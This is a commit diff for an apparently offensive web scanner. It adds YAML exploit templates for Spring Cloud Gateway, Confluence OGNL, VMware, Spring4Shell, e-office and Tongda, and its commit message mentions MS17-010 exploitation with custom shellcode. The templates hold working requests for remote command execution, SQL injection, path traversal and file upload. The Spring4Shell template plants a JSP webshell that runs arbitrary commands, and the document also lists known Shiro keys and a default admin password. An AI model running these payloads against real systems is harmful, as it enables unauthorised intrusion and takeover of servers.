加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。 新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。

WebScan/pocs/CVE-2017-7504-Jboss-serialization-RCE.yml

@@ -0,0 +1,11 @@
+name: poc-yaml-CVE-2017-7504-Jboss-serialization-RCE
+rules:
+  - method: GET
+    path: /jbossmq-httpil/HTTPServerILServlet
+    expression: |
+      response.status == 200 && response.body.bcontains(b'This is the JBossMQ HTTP-IL')
+detail:
+  author: mamba
+  description: "CVE-2017-7504-Jboss-serialization-RCE by chaosec公众号"
+  links:
+    - https://github.com/chaosec2021

WebScan/pocs/CVE-2022-22947.yml

@@ -0,0 +1,44 @@
+name: Spring-Cloud-CVE-2022-22947
+set:
+  router: randomLowercase(8)
+  rand1: randomInt(800000000, 1000000000)
+  rand2: randomInt(800000000, 1000000000)
+rules:
+  - method: POST
+    path: /actuator/gateway/routes/{{router}}
+    headers:
+      Content-Type: application/json
+    body: |
+      {
+        "id": "{{router}}",
+        "filters": [{
+          "name": "AddResponseHeader",
+          "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"expr\",\"{{rand1}}\",\"+\",\"{{rand2}}\"}).getInputStream()))}"}
+        }],
+      "uri": "http://example.com",
+      "order": 0
+      }
+    expression: response.status == 201
+  - method: POST
+    path: /actuator/gateway/refresh
+    headers:
+      Content-Type: application/json
+    expression: response.status == 200
+  - method: GET
+    path: /actuator/gateway/routes/{{router}}
+    headers:
+      Content-Type: application/json
+    expression: response.status == 200 && response.body.bcontains(bytes(string(rand1 + rand2)))
+  - method: DELETE
+    path: /actuator/gateway/routes/{{router}}
+    expression: response.status == 200
+  - method: POST
+    path: /actuator/gateway/refresh
+    headers:
+      Content-Type: application/json
+    expression: response.status == 200
+detail:
+  author: jweny
+  description: Spring Cloud Gateway Code Injection
+  links:
+    - https://mp.weixin.qq.com/s/qIAcycsO_L9JKisG5Bgg_w

WebScan/pocs/CVE-2022-22954-VMware-RCE.yml

@@ -0,0 +1,11 @@
+name: poc-yaml-CVE-2022-22954-VMware-RCE
+rules:
+  - method: GET
+    path: /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b"freemarker%2etemplate%2eutility%2eExecute"%3fnew%28%29%28"id"%29%7d
+    expression: |
+      response.status == 400 && "device id:".bmatches(response.body)
+detail:
+  author: mamba
+  description: "CVE-2022-22954-VMware-RCE by chaosec公众号"
+  links:
+    - https://github.com/chaosec2021

WebScan/pocs/CVE-2022-26134.yml

@@ -0,0 +1,16 @@
+name: Confluence-CVE-2022-26134
+
+rules:
+ -  method: GET
+    path: /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
+    expression: response.status == 302 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.raw_header)
+detail:
+  author: zan8in
+  description: |
+    Atlassian Confluence OGNL注入漏洞
+    Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新，通告了一个严重且已在野利用的代码执行漏洞，攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。
+    app="ATLASSIAN-Confluence"
+  links:
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-26134
+    - http://wiki.peiqi.tech/wiki/webapp/AtlassianConfluence/Atlassian%20Confluence%20OGNL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2022-26134.html
+    - https://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247488978&idx=1&sn=c0a5369f2b374dcef0bbf61b9239b1dd

WebScan/pocs/apache-axis-webservice-detect.yml

@@ -0,0 +1,25 @@
+name: poc-yaml-apache-axis-webservice-detect
+sets:
+  path:
+    - services
+    - servlet/AxisaxiServlet
+    - servlet/AxisServlet
+    - services/listServices
+    - services/FreeMarkerService
+    - services/AdminService
+    - axis/services
+    - axis2/services
+    - axis/servlet/AxisServlet
+    - axis2/servlet/AxisServlet
+    - axis2/services/listServices
+    - axis/services/FreeMarkerService
+    - axis/services/AdminService
+rules:
+  - method: GET
+    path: /{{path}}
+    expression: |
+      response.body.bcontains(b"Services") && response.body.bcontains(b'?wsdl"><i>')
+detail:
+  author: AgeloVito
+  links:
+    - https://paper.seebug.org/1489

WebScan/pocs/backup-file.yml

@@ -0,0 +1,64 @@
+name: poc-yaml-backup-file
+set:
+  host: request.url.domain
+sets:
+  path:
+    - "sql"
+    - "www"
+    - "wwwroot"
+    - "index"
+    - "backup"
+    - "back"
+    - "data"
+    - "web"
+    - "db"
+    - "database"
+    - "ftp"
+    - "admin"
+    - "upload"
+    - "package"
+    - "sql"
+    - "old"
+    - "test"
+    - "root"
+    - "beifen"
+    - host
+  ext:
+    - "zip"
+    - "7z"
+    - "rar"
+    - "gz"
+    - "tar.gz"
+    - "db"
+    - "bak"
+
+rules:
+  - method: GET
+    path: /{{path}}.{{ext}}
+    follow_redirects: false
+    continue: true
+    expression: |
+      response.content_type.contains("application/") &&
+      (response.body.startsWith("377ABCAF271C".hexdecode()) ||
+      response.body.startsWith("314159265359".hexdecode()) ||
+      response.body.startsWith("53514c69746520666f726d6174203300".hexdecode()) ||
+      response.body.startsWith("1f8b".hexdecode()) ||
+      response.body.startsWith("526172211A0700".hexdecode()) ||
+      response.body.startsWith("FD377A585A0000".hexdecode()) ||
+      response.body.startsWith("1F9D".hexdecode()) ||
+      response.body.startsWith("1FA0".hexdecode()) ||
+      response.body.startsWith("4C5A4950".hexdecode()) ||
+      response.body.startsWith("504B0304".hexdecode()) )
+#      - "377ABCAF271C"  # 7z
+#      - "314159265359"  # bz2
+#      - "53514c69746520666f726d6174203300"  # SQLite format 3.
+#      - "1f8b"  # gz tar.gz
+#      - "526172211A0700"  # rar RAR archive version 1.50
+#      - "526172211A070100"  # rar RAR archive version 5.0
+#      - "FD377A585A0000"  # xz tar.xz
+#      - "1F9D"  # z tar.z
+#      - "1FA0"  # z tar.z
+#      - "4C5A4950"  # lz
+#      - "504B0304"  # zip
+detail:
+  author: shadown1ng(https://github.com/shadown1ng)

WebScan/pocs/django-CVE-2018-14574.yml

@@ -0,0 +1,12 @@
+name: poc-yaml-django-CVE-2018-14574
+
+rules:
+  - method: GET
+    path: //www.example.com
+    follow_redirects: false
+    expression: response.status == 301 && response.headers['location']=="//www.example.com/"
+
+detail:
+    author: ivan
+    links:
+        - https://github.com/vulhub/vulhub/tree/master/django/CVE-2018-14574 

WebScan/pocs/e-office-v10-sql-inject.yml

@@ -0,0 +1,14 @@
+name: e-office-v10-sql-inject
+rules:
+  - method: GET
+    path: /eoffice10/server/ext/system_support/leave_record.php?flow_id=1&run_id=1&table_field=1&table_field_name=user()&max_rows=10
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.body.bcontains(b'<p>未找到相关数据</p>')
+detail:
+  author: Print1n(https://github.com/Print1n)
+  description: |
+    泛微 eoffice v10 前台 SQL 注入
+    FOFA：fid="2csJpuWtfTdSAavIfJTuBw=="
+  links:
+    - https://www.hedysx.com/2777.html

WebScan/pocs/e-office-v9-upload-cnvd-2021-49104.yml

@@ -0,0 +1,23 @@
+name: poc-yaml-e-office-v9-upload-cnvd-2021-49104
+manual: true
+transport: http
+set:
+  r1: randomLowercase(8)
+rules:
+  - method: POST
+    path: /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=
+    headers:
+    Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4
+    body: "--e64bdf16c554bbc109cecef6451c26a4\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"test.jsp\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php echo \"{{r1}}\"; unlink(__FILE__); ?>\r\n--e64bdf16c554bbc109cecef6451c26a4--\r\n\r\n"
+    follow_redirects: true
+    expression: |
+      response.status == 200 && response.body.bcontains(b"logo-eoffice")
+  - method: GET
+    path: /images/logo/logo-eoffice.php
+    follow_redirects: true
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(r1))
+detail:
+  author: we1x4n
+  links:
+    - https://blog.csdn.net/weixin_44309905/article/details/121588557

WebScan/pocs/ezoffice-dpwnloadhttp.jsp-filedownload.yml

@@ -0,0 +1,13 @@
+name: poc-yaml-ezoffice-downloadhttp.jsp-filedownload
+rules:
+  - method: GET
+    path: /defaultroot/site/templatemanager/downloadhttp.jsp?fileName=../public/edit/jsp/config.jsp
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.headers["filename"].contains("../public/edit/jsp/config.jsp")
+
+detail:
+  author: PeiQi0
+  links:
+    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E4%B8%87%E6%88%B7OA/%E4%B8%87%E6%88%B7OA%20downloadhttp.jsp%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.md
+  tags: ezoffice,file,download

WebScan/pocs/fckeditor-info.yml

@@ -0,0 +1,19 @@
+name: poc-yaml-fckeditor-info
+sets:
+  path:
+    - "/fckeditor/_samples/default.html"
+    - "/fckeditor/editor/filemanager/connectors/uploadtest.html"
+    - "/ckeditor/samples/"
+    - "/editor/ckeditor/samples/"
+    - "/ckeditor/samples/sample_posteddata.php"
+    - "/editor/ckeditor/samples/sample_posteddata.php"
+    - "/fck/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php"
+    - "/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellcheckder.php"
+rules:
+  - method: GET
+    path: /{{path}}
+    follow_redirects: false
+    expression: |
+      response.body.bcontains(b'<title>FCKeditor') || response.body.bcontains(b'<title>CKEditor Samples</title>') || response.body.bcontains(b'http://ckeditor.com</a>') || response.body.bcontains(b'Custom Uploader URL:') || response.body.bcontains(b'init_spell()') || response.body.bcontains(b"'tip':'")
+detail:
+  author: shadown1ng(https://github.com/shadown1ng)

WebScan/pocs/hikvision-gateway-data-file-read.yml

@@ -0,0 +1,15 @@
+name: hikvision-gateway-data-file-read
+rules:
+ -  method: GET
+    path: /data/login.php::$DATA
+    expression: |
+      response.status == 200 && response.body.bcontains(b'DataBaseQuery();') && response.body.bcontains(b'$_POST[\'userName\'];') && response.body.bcontains(b'$_POST[\'password\'];')
+info:
+  author: zan8in
+  description: |
+    HIKVISION 视频编码设备接入网关 $DATA 任意文件读取
+    HIKVISION 视频编码设备接入网关存在配置错误特性，特殊后缀请求php文件可读取源码
+    title="视频编码设备接入网关"
+  links:
+    - http://wiki.peiqi.tech/wiki/iot/HIKVISION/HIKVISION%20%E8%A7%86%E9%A2%91%E7%BC%96%E7%A0%81%E8%AE%BE%E5%A4%87%E6%8E%A5%E5%85%A5%E7%BD%91%E5%85%B3%20$DATA%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96.html
+

WebScan/pocs/hikvision-showfile-file-read.yml

@@ -0,0 +1,13 @@
+name: hikvision-showfile-file-read
+rules:
+ - method: GET
+   path: /serverLog/showFile.php?fileName=../web/html/main.php
+   expression: |
+      response.status == 200 && response.body.bcontains(b'$_SERVER[\'HTTP_HOST\'];') && response.body.bcontains(b'$_POST[\'userName\'];')
+info:
+  author: zan8in
+  description: |
+    海康威视视频接入网关系统在页面/serverLog/showFile.php的参数fileName存在任意文件下载漏洞
+    title="视频编码设备接入网关"
+  links:
+    - http://wiki.peiqi.tech/wiki/iot/HIKVISION/HIKVISION%20%E8%A7%86%E9%A2%91%E7%BC%96%E7%A0%81%E8%AE%BE%E5%A4%87%E6%8E%A5%E5%85%A5%E7%BD%91%E5%85%B3%20showFile.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.html

WebScan/pocs/sangfor-ad-download.php-filedownload.yml

@@ -0,0 +1,13 @@
+name: poc-yaml-sangfor-ad-download.php-filedownload
+rules:
+  - method: GET
+    path: /report/download.php?pdf=../../../../../etc/hosts
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.body.bcontains(b'localhost') && response.headers['Content-Disposition'].contains('hosts')
+
+detail:
+  author: PeiQi0
+  links:
+    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/%E6%B7%B1%E4%BF%A1%E6%9C%8D/%E6%B7%B1%E4%BF%A1%E6%9C%8D%20%E5%BA%94%E7%94%A8%E4%BA%A4%E4%BB%98%E6%8A%A5%E8%A1%A8%E7%B3%BB%E7%BB%9F%20download.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
+  tags: sangfor,file,download

WebScan/pocs/seeyon-oa-a8-m-information-disclosure.yml

@@ -0,0 +1,18 @@
+name: poc-yaml-seeyon-oa-a8-m-information-disclosure
+manual: true
+transport: http
+rules:
+  - method: GET
+    path: /seeyon/management/index.jsp
+    expression: response.status == 200
+  - method: POST
+    path: /seeyon/management/index.jsp
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: password=WLCCYBD%40SEEYON
+    follow_redirects: true
+    expression: response.status == 200 && response.body.bcontains(bytes("Free Physical Memory Size"))
+detail:
+  author: Monday
+  links:
+    - http://wiki.peiqi.tech/wiki/oa/%E8%87%B4%E8%BF%9COA/%E8%87%B4%E8%BF%9COA%20A8%20status.jsp%20%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.html

WebScan/pocs/shiro-key.yml

@@ -0,0 +1,155 @@
+name: poc-yaml-shiro-key
+set:
+  randstr: randomUppercase(32)
+sets:
+  key:
+    - "kPH+bIxk5D2deZiIxcaaaA=="
+    - "2AvVhdsgUs0FSA3SDFAdag=="
+    - "3AvVhmFLUs0KTA3Kprsdag=="
+    - "4AvVhmFLUs0KTA3Kprsdag=="
+    - "5aaC5qKm5oqA5pyvAAAAAA=="
+    - "6ZmI6I2j5Y+R5aSn5ZOlAA=="
+    - "bWljcm9zAAAAAAAAAAAAAA=="
+    - "wGiHplamyXlVB11UXWol8g=="
+    - "Z3VucwAAAAAAAAAAAAAAAA=="
+    - "MTIzNDU2Nzg5MGFiY2RlZg=="
+    - "zSyK5Kp6PZAAjlT+eeNMlg=="
+    - "U3ByaW5nQmxhZGUAAAAAAA=="
+    - "5AvVhmFLUs0KTA3Kprsdag=="
+    - "bXdrXl9eNjY2KjA3Z2otPQ=="
+    - "fCq+/xW488hMTCD+cmJ3aQ=="
+    - "1QWLxg+NYmxraMoxAXu/Iw=="
+    - "ZUdsaGJuSmxibVI2ZHc9PQ=="
+    - "L7RioUULEFhRyxM7a2R/Yg=="
+    - "r0e3c16IdVkouZgk1TKVMg=="
+    - "bWluZS1hc3NldC1rZXk6QQ=="
+    - "a2VlcE9uR29pbmdBbmRGaQ=="
+    - "WcfHGU25gNnTxTlmJMeSpw=="
+    - "ZAvph3dsQs0FSL3SDFAdag=="
+    - "tiVV6g3uZBGfgshesAQbjA=="
+    - "cmVtZW1iZXJNZQAAAAAAAA=="
+    - "ZnJlc2h6Y24xMjM0NTY3OA=="
+    - "RVZBTk5JR0hUTFlfV0FPVQ=="
+    - "WkhBTkdYSUFPSEVJX0NBVA=="
+    - "GsHaWo4m1eNbE0kNSMULhg=="
+    - "l8cc6d2xpkT1yFtLIcLHCg=="
+    - "KU471rVNQ6k7PQL4SqxgJg=="
+    - "0AvVhmFLUs0KTA3Kprsdag=="
+    - "1AvVhdsgUs0FSA3SDFAdag=="
+    - "25BsmdYwjnfcWmnhAciDDg=="
+    - "3JvYhmBLUs0ETA5Kprsdag=="
+    - "6AvVhmFLUs0KTA3Kprsdag=="
+    - "6NfXkC7YVCV5DASIrEm1Rg=="
+    - "7AvVhmFLUs0KTA3Kprsdag=="
+    - "8AvVhmFLUs0KTA3Kprsdag=="
+    - "8BvVhmFLUs0KTA3Kprsdag=="
+    - "9AvVhmFLUs0KTA3Kprsdag=="
+    - "OUHYQzxQ/W9e/UjiAGu6rg=="
+    - "a3dvbmcAAAAAAAAAAAAAAA=="
+    - "aU1pcmFjbGVpTWlyYWNsZQ=="
+    - "bXRvbnMAAAAAAAAAAAAAAA=="
+    - "OY//C4rhfwNxCQAQCrQQ1Q=="
+    - "5J7bIJIV0LQSN3c9LPitBQ=="
+    - "f/SY5TIve5WWzT4aQlABJA=="
+    - "bya2HkYo57u6fWh5theAWw=="
+    - "WuB+y2gcHRnY2Lg9+Aqmqg=="
+    - "3qDVdLawoIr1xFd6ietnwg=="
+    - "YI1+nBV//m7ELrIyDHm6DQ=="
+    - "6Zm+6I2j5Y+R5aS+5ZOlAA=="
+    - "2A2V+RFLUs+eTA3Kpr+dag=="
+    - "6ZmI6I2j3Y+R1aSn5BOlAA=="
+    - "SkZpbmFsQmxhZGUAAAAAAA=="
+    - "2cVtiE83c4lIrELJwKGJUw=="
+    - "fsHspZw/92PrS3XrPW+vxw=="
+    - "XTx6CKLo/SdSgub+OPHSrw=="
+    - "sHdIjUN6tzhl8xZMG3ULCQ=="
+    - "O4pdf+7e+mZe8NyxMTPJmQ=="
+    - "HWrBltGvEZc14h9VpMvZWw=="
+    - "rPNqM6uKFCyaL10AK51UkQ=="
+    - "Y1JxNSPXVwMkyvES/kJGeQ=="
+    - "lT2UvDUmQwewm6mMoiw4Ig=="
+    - "MPdCMZ9urzEA50JDlDYYDg=="
+    - "xVmmoltfpb8tTceuT5R7Bw=="
+    - "c+3hFGPjbgzGdrC+MHgoRQ=="
+    - "ClLk69oNcA3m+s0jIMIkpg=="
+    - "Bf7MfkNR0axGGptozrebag=="
+    - "1tC/xrDYs8ey+sa3emtiYw=="
+    - "ZmFsYWRvLnh5ei5zaGlybw=="
+    - "cGhyYWNrY3RmREUhfiMkZA=="
+    - "IduElDUpDDXE677ZkhhKnQ=="
+    - "yeAAo1E8BOeAYfBlm4NG9Q=="
+    - "cGljYXMAAAAAAAAAAAAAAA=="
+    - "2itfW92XazYRi5ltW0M2yA=="
+    - "XgGkgqGqYrix9lI6vxcrRw=="
+    - "ertVhmFLUs0KTA3Kprsdag=="
+    - "5AvVhmFLUS0ATA4Kprsdag=="
+    - "s0KTA3mFLUprK4AvVhsdag=="
+    - "hBlzKg78ajaZuTE0VLzDDg=="
+    - "9FvVhtFLUs0KnA3Kprsdyg=="
+    - "d2ViUmVtZW1iZXJNZUtleQ=="
+    - "yNeUgSzL/CfiWw1GALg6Ag=="
+    - "NGk/3cQ6F5/UNPRh8LpMIg=="
+    - "4BvVhmFLUs0KTA3Kprsdag=="
+    - "MzVeSkYyWTI2OFVLZjRzZg=="
+    - "empodDEyMwAAAAAAAAAAAA=="
+    - "A7UzJgh1+EWj5oBFi+mSgw=="
+    - "c2hpcm9fYmF0aXMzMgAAAA=="
+    - "i45FVt72K2kLgvFrJtoZRw=="
+    - "U3BAbW5nQmxhZGUAAAAAAA=="
+    - "Jt3C93kMR9D5e8QzwfsiMw=="
+    - "MTIzNDU2NzgxMjM0NTY3OA=="
+    - "vXP33AonIp9bFwGl7aT7rA=="
+    - "V2hhdCBUaGUgSGVsbAAAAA=="
+    - "Q01TX0JGTFlLRVlfMjAxOQ=="
+    - "Is9zJ3pzNh2cgTHB4ua3+Q=="
+    - "NsZXjXVklWPZwOfkvk6kUA=="
+    - "GAevYnznvgNCURavBhCr1w=="
+    - "66v1O8keKNV3TTcGPK1wzg=="
+    - "SDKOLKn2J1j/2BHjeZwAoQ=="
+    - "kPH+bIxk5D2deZiIxcabaA=="
+    - "kPH+bIxk5D2deZiIxcacaA=="
+    - "3AvVhdAgUs0FSA4SDFAdBg=="
+    - "4AvVhdsgUs0F563SDFAdag=="
+    - "FL9HL9Yu5bVUJ0PDU1ySvg=="
+    - "5RC7uBZLkByfFfJm22q/Zw=="
+    - "eXNmAAAAAAAAAAAAAAAAAA=="
+    - "fdCEiK9YvLC668sS43CJ6A=="
+    - "FJoQCiz0z5XWz2N2LyxNww=="
+    - "HeUZ/LvgkO7nsa18ZyVxWQ=="
+    - "HoTP07fJPKIRLOWoVXmv+Q=="
+    - "iycgIIyCatQofd0XXxbzEg=="
+    - "m0/5ZZ9L4jjQXn7MREr/bw=="
+    - "NoIw91X9GSiCrLCF03ZGZw=="
+    - "oPH+bIxk5E2enZiIxcqaaA=="
+    - "QAk0rp8sG0uJC4Ke2baYNA=="
+    - "Rb5RN+LofDWJlzWAwsXzxg=="
+    - "s2SE9y32PvLeYo+VGFpcKA=="
+    - "SrpFBcVD89eTQ2icOD0TMg=="
+    - "U0hGX2d1bnMAAAAAAAAAAA=="
+    - "Us0KvVhTeasAm43KFLAeng=="
+    - "Ymx1ZXdoYWxlAAAAAAAAAA=="
+    - "YWJjZGRjYmFhYmNkZGNiYQ=="
+    - "zIiHplamyXlVB11UXWol8g=="
+    - "ZjQyMTJiNTJhZGZmYjFjMQ=="
+  mode:
+    - "cbc"
+    - "gcm"
+  payload:
+    - shirokey(key,mode)
+rules:
+  - method: GET
+    path: /
+    follow_redirects: false
+    headers:
+      Cookie: JSESSIONID={{randstr}};rememberMe=login
+    expression: |
+      "Set-Cookie" in response.headers && (response.headers["Set-Cookie"].contains("rememberMe=") || response.headers["Set-Cookie"].contains("=deleteMe"))
+  - method: GET
+    path: /
+    headers:
+      Cookie: JSESSIONID={{randstr}};rememberMe={{payload}}
+    follow_redirects: false
+    expression: |
+      !response.headers["Set-Cookie"].contains("rememberMe=")
+detail:
+  author: shadown1ng(https://github.com/shadown1ng)

WebScan/pocs/spring-core-rce.yml

@@ -0,0 +1,27 @@
+name: poc-yaml-spring-core-rce
+manual: true
+transport: http
+set:
+    r1: randomInt(40000, 44800)
+rules:
+  - method: POST
+    path: /
+    headers:
+        suffix: "%>//"
+        c1: "Runtime"
+        c2: "<%"
+        DNT: "1"
+        Content-Type: "application/x-www-form-urlencoded"
+    body: "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22data%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22word%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
+    follow_redirects: true
+    expression: |
+        response.status == 200 
+  - method: GET
+    path: /tomcatwar.jsp?data=j&word=echo%20{r1}
+    follow_redirects: false
+    expression: |
+        response.status == 200 && response.body.bcontains(bytes(string(r1)))
+detail:
+    author: marmot
+    links:
+        - https://github.com/Mr-xn/spring-core-rce

WebScan/pocs/springboot-cve-2021-21234.yml

@@ -0,0 +1,22 @@
+name: poc-yaml-springboot-cve-2021-21234
+groups:
+  spring1:
+    - method: GET
+      path: /manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../
+      expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") && response.body.bcontains(b"fonts")
+  spring2:
+    - method: GET
+      path: /log/view?filename=/windows/win.ini&base=../../../../../../../../../../
+      expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") && response.body.bcontains(b"fonts")
+  spring3:
+    - method: GET
+      path: /manage/log/view?filename=/etc/hosts&base=../../../../../../../../../../
+      expression: response.status == 200 && response.body.bcontains(b"127.0.0.1") && response.body.bcontains(b"localhost")
+  spring4:
+    - method: GET
+      path: /log/view?filename=/etc/hosts&base=../../../../../../../../../../
+      expression: response.status == 200 && response.body.bcontains(b"127.0.0.1") && response.body.bcontains(b"localhost")
+detail:
+  author: iak3ec(https://github.com/nu0l)
+  links:
+    - https://mp.weixin.qq.com/s/ZwhBEz2ek26Zf3F-csoRgQ

WebScan/pocs/sql-file.yml

@@ -0,0 +1,32 @@
+name: poc-yaml-sql-file
+set:
+  host: request.url.domain
+sets:
+  path:
+    - "1.sql"
+    - "backup.sql"
+    - "database.sql"
+    - "data.sql"
+    - "db_backup.sql"
+    - "dbdump.sql"
+    - "db.sql"
+    - "dump.sql"
+    - "{{host}}.sql"
+    - "{{host}}_db.sql"
+    - "localhost.sql"
+    - "mysqldump.sql"
+    - "mysql.sql"
+    - "site.sql"
+    - "sql.sql"
+    - "temp.sql"
+    - "translate.sql"
+    - "users.sql"
+rules:
+  - method: GET
+    path: /{{path}}
+    follow_redirects: false
+    continue: true
+    expression: |
+      "(?m)(?:DROP|CREATE|(?:UN)?LOCK) TABLE|INSERT INTO".bmatches(response.body)
+detail:
+  author: shadown1ng(https://github.com/shadown1ng)

WebScan/pocs/swagger-ui-unauth.yml

@@ -1,6 +1,7 @@
 name: poc-yaml-swagger-ui-unauth
 sets:
   path:
+    - swagger/ui/index
     - swagger-ui.html
     - api/swagger-ui.html
     - service/swagger-ui.html
@@ -9,11 +10,20 @@ sets:
     - actuator/swagger-ui.html
     - libs/swagger-ui.html
     - template/swagger-ui.html
+    - api_docs
+    - api/docs/
+    - api/index.html
+    - swagger/v1/swagger.yaml
+    - swagger/v1/swagger.json
+    - swagger.yaml
+    - swagger.json
+    - api-docs/swagger.yaml
+    - api-docs/swagger.json
 rules:
   - method: GET
     path: /{{path}}
     expression: |
-      response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
+      response.status == 200 && (response.body.bcontains(b"Swagger UI") || response.body.bcontains(b"swagger-ui.min.js")|| response.body.bcontains(b'swagger:') || response.body.bcontains(b'swagger:') || response.body.bcontains(b'Swagger 2.0') ||  response.body.bcontains(b"\"swagger\":") )
 detail:
   author: AgeloVito
   links:

WebScan/pocs/tomcat-manager-weak.yml

@@ -6,9 +6,9 @@ sets:
     - root
     - manager
   password:
+    - tomcat
     - ""
     - admin
-    - tomcat
     - 123456
     - root
   payload:

WebScan/pocs/tongda-insert-sql-inject.yml

@@ -0,0 +1,21 @@
+name: tongda-insert-sql-inject
+rules:
+  - method: POST
+    path: /general/document/index.php/recv/register/insert
+    body: |
+      title)values("'"^exp(if(ascii(substr(MOD(5,2),1,1))<128,1,710)))# =1&_SERVER=
+    expression: response.status == 302 && response.headers["set-cookie"].contains("PHPSESSID=")
+  - method: POST
+    path: /general/document/index.php/recv/register/insert
+    body: |
+      title)values("'"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/0,1),8,1))<66,1,710)))# =1&_SERVER=
+    expression: response.status != 502 && response.status != 500
+detail:
+  author: zan8in
+  description: |
+    通达OA v11.6 insert参数包含SQL注入漏洞，攻击者通过漏洞可获取数据库敏感信息
+    app="TDXK-通达OA"
+    发送请求包判断漏洞 /general/document/index.php/recv/register/insert 返回302则是存在漏洞，返回500则不存在
+  links:
+    - http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.6%20insert%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
+    - https://blog.csdn.net/weixin_39779975/article/details/111091529

WebScan/pocs/tongda-oa-v11.9-api.ali.php-upload.yml

@@ -0,0 +1,41 @@
+name: poc-yaml-tongda-oa-v11.9-api.ali.php-fileupload
+set:
+  filename: randomLowercase(8)
+  r1: randomLowercase(8)
+  payload: base64("file_put_contents('../../"+filename+".php','<?php echo(md5("+r1+"));?>');")
+  rboundary: md5(randomLowercase(8))
+  date: TDdate()
+rules:
+  - method: POST
+    path: /mobile/api/api.ali.php
+    headers:
+      Content-Type: multipart/form-data; boundary={{rboundary}}
+      Accept-Encoding: gzip
+    follow_redirects: false
+    body: "\
+      --{{rboundary}}\r\n\
+      Content-Disposition: form-data; name=\"file\"; filename=\"{{filename}}.json\"\r\n\
+      Content-Type: application/octet-stream\r\n\
+      \r\n\
+      {\"modular\":\"AllVariable\",\"a\":\"{{payload}}\",\"dataAnalysis\":\"{\\\"a\\\":\\\"錦',$BackData[dataAnalysis] => eval(base64_decode($BackData[a])));/*\\\"}\"}\r\n\
+      --{{rboundary}}--\r\n\
+      "
+    expression: |
+      response.status == 200
+
+  - method: GET
+    path: /inc/package/work.php?id=../../../../../myoa/attach/approve_center/{{date}}/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E.{{filename}}
+    expression: |
+      response.status == 200 && response.body.bcontains(b'OK')
+
+  - method: GET
+    path: /{{filename}}.php
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(md5(r1)))
+
+detail:
+  author: PeiQi0
+  influence_version: "<= 通达OA 11.9"
+  links:
+    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.8%20api.ali.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md
+  tags: tongda,fileupload

WebScan/pocs/tongda-user-session-disclosure.yml

@@ -1,17 +1,13 @@
